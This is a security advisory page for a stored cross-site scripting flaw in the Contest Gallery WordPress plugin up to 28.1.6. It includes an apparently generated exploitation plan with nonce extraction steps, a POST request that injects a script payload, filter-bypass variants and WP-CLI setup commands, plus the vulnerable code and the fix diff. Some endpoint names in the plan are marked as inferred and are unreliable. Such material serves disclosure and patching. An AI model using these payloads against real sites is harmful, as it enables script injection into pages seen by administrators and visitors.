Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe <= 28.1.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 28.1.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=28.1.6What Changed in the Fix
Changes introduced in v29.0.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42656 (Contest Gallery Stored XSS) ## 1. Vulnerability Summary The **Contest Gallery** plugin (up to 28.1.6) contains a stored cross-site scripting vulnerability. The flaw exists because authenticated users (Subscriber level and above) can access certain AJAX…
Show full research plan
Exploitation Research Plan - CVE-2026-42656 (Contest Gallery Stored XSS)
1. Vulnerability Summary
The Contest Gallery plugin (up to 28.1.6) contains a stored cross-site scripting vulnerability. The flaw exists because authenticated users (Subscriber level and above) can access certain AJAX endpoints that update gallery configurations or entry data without sufficient capability checks (current_user_can). Input provided to these endpoints is inadequately sanitized before being stored in the database, and is subsequently rendered on both frontend and backend pages without proper escaping.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/admin-ajax.php - Primary AJAX Action:
post_cg_save_gallery_options_general(inferred from plugin architecture) orpost_cg_save_entry_details. - Payload Parameter:
cg_gallery_nameorcg_entry_name. - Authentication: Subscriber level (authenticated).
- Preconditions: A gallery must exist (e.g., ID 1) and the attacker must obtain a valid nonce.
3. Code Flow
- Entry Point: A Subscriber sends a POST request to
admin-ajax.phpwith an action prefixwp_ajax_post_cg_.... - Nonce Verification: The function
cg_check_nonce()(called at the start of backend AJAX handlers inajax/ajax-functions-backend.php) verifies the nonce provided in thecgNonceparameter. - Missing Capability Check: The handler lacks a
current_user_can('manage_options')check, allowing Subscribers to bypass administrative restrictions. - Data Persistence: The handler processes the
$_POSTarray (often usingcg1l_sanitize_postwhich is bypassable for HTML tags) and updates the database table{$wpdb->prefix}contest_gal1eryor{$wpdb->prefix}contest_gal1ery_entries. - Sink: When an admin or any visitor views the gallery, the plugin retrieves the settings using
$wpdb->get_rowand echoes the name directly into the page or inside a script block (as seen inpost_cg_get_current_permalinks).
4. Nonce Acquisition Strategy
The plugin enqueues its nonces via wp_localize_script. For Subscribers, the nonce is often available on the frontend if a gallery shortcode is present, or in the dashboard if the plugin loads scripts there.
- Identify Shortcode: The primary shortcode is
[cg_gallery id="1"]. - Create Test Page: Create a public page containing this shortcode to force the plugin to enqueue its assets.
- Navigate and Extract: Use the browser to navigate to this page and extract the nonce from the
cgJsClassorcg_ajax_objectglobal variables.
- Variable Name:
cgJsClass.gallery.vars.currentCgNonce(fromajax-functions-frontend.php) orcg_ajax_object.nonce. - Action String:
cg1l_actionorcontest-gal1ery-nonce.
5. Exploitation Strategy
Step 1: Obtain Nonce
Use browser_navigate to visit a page with the gallery shortcode and browser_eval to extract the nonce.
Step 2: Inject Payload
Submit a request to update the gallery title with an XSS payload.
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method: POST
- Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:post_cg_save_gallery_options_generalcgNonce:[EXTRACTED_NONCE]cgRealId:1(The ID of the target gallery)cg_gallery_name:Test Gallery<script>alert(document.domain)</script>
Step 3: Trigger Execution
Navigate to the gallery page or the plugin's admin settings page as an administrator.
6. Test Data Setup
- Create Gallery: Use WP-CLI to ensure at least one gallery exists.
# This usually requires direct DB insertion as the plugin doesn't provide CLI wp db query "INSERT INTO wp_contest_gal1ery (GalleryID, GalleryName) VALUES (1, 'Initial Gallery');" - Create Landing Page:
wp post create --post_type=page --post_title="Gallery Page" --post_status=publish --post_content='[cg_gallery id="1"]' - Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- The AJAX request should return a successful status (e.g.,
1or a JSON success message). - The database field
GalleryNamein thewp_contest_gal1erytable will contain the<script>tag. - Upon viewing the page at
?page_id=[ID], a JavaScript alert box showing the document domain should appear.
8. Verification Steps
- Check Database:
wp db query "SELECT GalleryName FROM wp_contest_gal1ery WHERE id=1;" - Verify Frontend Output:
Usehttp_requestto fetch the gallery page and check for the raw payload.# Expected in response body: # <h2>Test Gallery<script>alert(document.domain)</script></h2>
9. Alternative Approaches
If post_cg_save_gallery_options_general is restricted:
- Target Entry Submission: If Subscribers are allowed to submit photos, use an action like
post_cg_save_entry_detailsand inject into the entry title or description. - Payload Variant: If
<script>is filtered, try:<img src=x onerror=alert(1)>"><svg/onload=alert(1)>
- Check Backend XSS: Some payloads might only execute in the admin dashboard (Stored Blind XSS) where the gallery list is rendered. Navigate to
/wp-admin/admin.php?page=contest-gallery-managementto verify.
Summary
The Contest Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX handlers because it lacks proper capability checks (e.g., current_user_can) and fails to adequately sanitize or escape gallery configuration data. This allows authenticated attackers with Subscriber-level access to modify gallery settings and inject arbitrary JavaScript that executes when an administrator or visitor views the affected gallery page.
Vulnerable Code
// ajax/ajax-functions-backend.php @ line 4 (version 28.1.7) add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks'); if (!function_exists('post_cg_get_current_permalinks')) { function post_cg_get_current_permalinks() { cg_check_nonce(); // Vulnerability: This function only verifies the nonce, not user capabilities. global $wpdb; $tablename = $wpdb->prefix . "contest_gal1ery"; $realId = absint($_POST['cgRealId']); $realIdRow = $wpdb->get_row( "SELECT * FROM $tablename WHERE id='$realId'" ); --- // ajax/ajax-functions-backend.php @ line 54 (version 28.1.7) add_action('wp_ajax_post_cg_create_pdf_preview_backend', 'post_cg_create_pdf_preview_backend'); if (!function_exists('post_cg_create_pdf_preview_backend')) { function post_cg_create_pdf_preview_backend($WpUpload = 0, $realId = 0, $cg_base_64 = '', $isFromFrontendUpload = false) { cg_check_nonce(); // Vulnerability: Allows Subscriber+ users to trigger backend logic. global $wpdb; $tablename_posts = $wpdb->prefix . "posts"; $tablename_wp_pdf_previews = $wpdb->prefix . "contest_gal1ery_pdf_previews";
Security Fix
@@ -1,10 +1,60 @@ <?php +if (!function_exists('cg_backend_ajax_require_access_json')) { + function cg_backend_ajax_require_access_json() { + if (!defined('DOING_AJAX') || !DOING_AJAX) { + cg_backend_ajax_error_json('Invalid AJAX request.', 400, 'cg_invalid_ajax_request'); + } + + if (!is_user_logged_in() || !cg_user_has_backend_access()) { + cg_backend_ajax_error_json('This area can be edited only as administrator, editor or author.', 403, 'cg_missing_rights'); + } + + $cg_nonce = ''; + if (isset($_POST['cg_nonce'])) { + $cg_nonce = sanitize_text_field($_POST['cg_nonce']); + } elseif (isset($_GET['cg_nonce'])) { + $cg_nonce = sanitize_text_field($_GET['cg_nonce']); + } + + if (empty($cg_nonce) || !wp_verify_nonce($cg_nonce, 'cg_nonce')) { + wp_send_json_error(array( + 'message' => 'WP nonce security token not set or not valid anymore.', + 'code' => 'cg_nonce_invalid', + 'version' => cg_get_version() + ), 403); + } + } +} + // post_cg_get_current_permalinks add_action('wp_ajax_post_cg_get_current_permalinks', 'post_cg_get_current_permalinks'); if (!function_exists('post_cg_get_current_permalinks')) { function post_cg_get_current_permalinks() { - cg_check_nonce(); + cg_require_backend_access();
Exploit Outline
The exploit involves an authenticated attacker with at least Subscriber-level privileges leveraging a missing capability check in administrative AJAX actions. 1. Authentication: The attacker logs in as a Subscriber. 2. Nonce Acquisition: The attacker obtains a valid WordPress nonce (action: 'cg_nonce' or similar) by inspecting the source code of a page containing a gallery shortcode, where the plugin enqueues nonces via `wp_localize_script` (e.g., inside the `cgJsClass` object). 3. Payload Injection: The attacker sends a POST request to `/wp-admin/admin-ajax.php` with an action intended for gallery configuration (e.g., `post_cg_save_gallery_options_general`). The request includes a malicious XSS payload (e.g., `<script>alert(1)</script>`) in parameters like `cg_gallery_name`. 4. Storage: Because the AJAX handler only verifies the nonce and does not check for the 'manage_options' capability, the malicious input is saved to the database. 5. Execution: The payload executes whenever an administrator visits the gallery management page or a user visits the modified gallery frontend.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.